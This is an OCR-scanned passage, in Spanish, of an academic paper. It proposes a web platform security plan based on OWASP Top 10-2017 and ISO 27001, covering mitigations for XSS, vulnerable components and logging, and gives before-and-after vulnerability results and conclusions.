salida HTML (cuerpo, atributo, JavaScript, CSS o URL) resolvera las vulnerabilidades
de XSS reflejadas y almacenadas.

. La aplicacion de codificacion sensible al contexto al modificar el documento del
navegador en el lado del cliente actiia contra DOM XSS.

. Habilitar una politica de seguridad de contenido (CSP) como un control de mitigacion
de defensa en profundidad contra XSS. Es efectivo si no existen otras vulnerabilidades
que permitirian colocar codigo malicioso a través de archivos locales incluidos (por
ejemplo, sobrescrituras transversales de ruta o bibliotecas vulnerables de redes de
entrega de contenido permitidas).

A9:2017 — Uso de componentes con vulnerabilidades conocidas

Implicacién de seguridad

Procedimiento especifico:
Utilizar iinicamente
componentes de fuentes
confiables

Los componentes, como bibliotecas, macros y otros modulos de software se ejecutan con los
mismos privilegios que la aplicacion. Si se explota un componente vulnerable, dicho ataque
puede facilitar la pérdida grave de datos o la toma de control del servidor. Las aplicaciones
y las API que utilizan componentes con vulnerabilidades conocidas pueden socavar las
defensas de las aplicaciones y permitir varios ataques e impactos.

Debe existir un proceso de administracion de parches para:

. Eliminar las dependencias no utilizadas, las caracteristicas, los componentes, los
archivos y la documentacion innecesarios.

. Hacer un inventario continuo de las versiones de los componentes del lado del cliente y
del lado del servidor (por ejemplo, macros, bibliotecas) y sus dependencias utilizando
herramientas como versiones, DependencyCheck, retire.js, etc.

. Monitorear continuamente las fuentes como CVE y NVD en busca de vulnerabilidades
en los componentes. Utilizar herramientas de analisis de composicion de software para
automatizar el proceso.

. Solo obtener componentes de fuentes oficiales a través de enlaces seguros. Utilizar
Unicamente paquetes firmados para reducir la posibilidad de incluir un componente
malicioso modificado.

. Supervisar las bibliotecas y los componentes que no reciben mantenimiento o que no
crean parches de seguridad para versiones anteriores.

. Cada organizacion debe asegurarse de que haya un plan continuo para monitorear,
clasificar y aplicar actualizaciones o cambios de configuracion durante la vida util de la
aplicacion o cartera.

A10:2017 — Registro y monitoreo insuficientes

Implicacién de seguridad

El registro y la supervision insuficientes, junto con la integracion faltante o ineficaz con
la respuesta a incidentes, permite a los atacantes atacar aiin mas los sistemas, mantener la
persistencia, pasar a mas sistemas y manipular, extraer o destruir datos. La mayoria de los
estudios muestran que el tiempo para detectar una brecha es de mas de 200 dias, generalmente
detectado por partes externas en lugar de procesos internos o monitoreo.



Segtin el riesgo de los datos almacenados o procesados por la aplicacion:

Procedimiento especifico:

Registrar las incidencias y

monitorear las actividades
sospechosas

Asegurarse de que todos los inicios de sesion, las fallas de control de acceso y las fallas
de validacion de entrada del lado del servidor puedan registrarse con suficiente contexto
de usuario para identificar cuentas sospechosas o maliciosas, y mantenerse durante el
tiempo suficiente para permitir un analisis forense retrasado.

Asegurarse que los registros se generen en un formato que las soluciones de
administracion de registros centralizados puedan consumir facilmente.

Asegurarse que las transacciones de alto valor tengan un seguimiento de auditoria con
controles de integridad para evitar la manipulacién o la eliminacion, como tablas de
base de datos de solo agregar o similares.

Establecer un monitoreo y alertas efectivas para que las actividades sospechosas sean
detectadas y respondidas de manera oportuna.

Establecer o adoptar un plan de recuperacion y respuesta a incidentes.

Utilizar frameworks de proteccion de aplicaciones comerciales y de codigo abierto
como OWASP AppSensor, firewalls de aplicaciones web como ModSecurity con
el conjunto de reglas basicas de OWASP ModSecurity y software de correlacion de
registros con paneles y alertas personalizados.

Pinango. Plan de seguridad para plataformas web

ITI. RESULTADOS Y DISCUSION
Las pruebas para el anélisis de vulnerabilidades
se realizaron sobre dos prototipos:
¢ Prototipo I: no se considera el plan de
seguridad
e Prototipo II: si se considera el plan de

seguridad propuesto

Los resultados obtenidos se contrastaron para
comprobar en nivel de mejoria de seguridad sobre
la infraestructura tecnoldgica de la organizacion,
como se muestra en la Tabla 5.

Tabla 5. Resultado de comparacién de vulnerabilidades de cada prototipo

VULNERABILIDAD (sin pll;l:;‘:lsl::(;l{ridad (con pll):::t((l):]::g{llridad)

A1:2017 — Inyeccion SI NO
A2:2017 — Pérdida de autenticacion SI NO
A3:2017 — Exposicion de datos sensibles SI SI
AS5:2017 — Pérdida de control de acceso SI NO
ﬁgOZr(r)el;; Configuracion de seguridad SI NO
A7:2017 — Cross-Site Scripting (XSS) SI NO
A9:20l7.—. Uso de componentes con SI S
vulnerabilidades conocidas

A10:2017 — Registro y monitoreo insuficientes SI NO

TOTAL 8 (100% vulnerable) 2 (25% vulnerable)

Con los resultados mostrados en cada prototipo
se determina que sin plan de seguridad (Prototipo
I) la plataforma informatica web era vulnerable en
los 8 criterios definidos lo que equivale al 100%
vulnerable, sin embargo, con la implementacién
del plan de seguridad (Prototipo 1II) las
vulnerabilidades se reducen a 2 criterios lo que
equivale al 25% vulnerable, por lo que se mejora el
75% del nivel de seguridad en la plataforma web.
investigacion
normas de la ISO 27001 considerando la politica
y el control relacionado al desarrollo seguro y
las vulnerabilidades méas representativas para

La presente combina las

plataformas web de la lista de OWASP TOP10-
2017 con sus respectivos procedimientos
especificos, esto genera un plan de seguridad que
se constituye en una guia para mitigar cada una
de las vulnerabilidades del sistema y orientar las
acciones que deben realizar el personal técnico de
la Organizacion.

IV. CONCLUSIONES
« En la fase de recopilacion de informaciéon
se determind la infraestructura de las
instalaciones y los dispositivos que
manejan.
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« En la fase de anélisis se determind que la
plataforma informatica web presentdé 8
vulnerabilidades de seguridad del listado
de OWASP Top 10-2017:
pérdida de autenticacion,
de datos sensible, pérdida de control
de acceso, configuracion de seguridad

inyeccidn,
exposicion

incorrecta, XSS, uso de componentes con
vulnerabilidades conocidas,
monitoreo insuficientes.

registro y

« En la fase de explotaciéon se realizaron
pruebas de penetracion con herramientas
especializadas a
vulnerabilidades encontradas en la
plataforma web con la finalidad de
analizarlas y presentar propuestas de
solucidn.

cada una de las

» En la fase de generacion de informes se
procedi6 a definir el plan de seguridad
para la plataforma web empleando normas
ISO 27001 y considerando la propuesta de
OWASP-2017.

« Una vez que se implementd del plan de
seguridad propuesto se obtuvo una mejora
de la seguridad de la plataforma web en un
75%.
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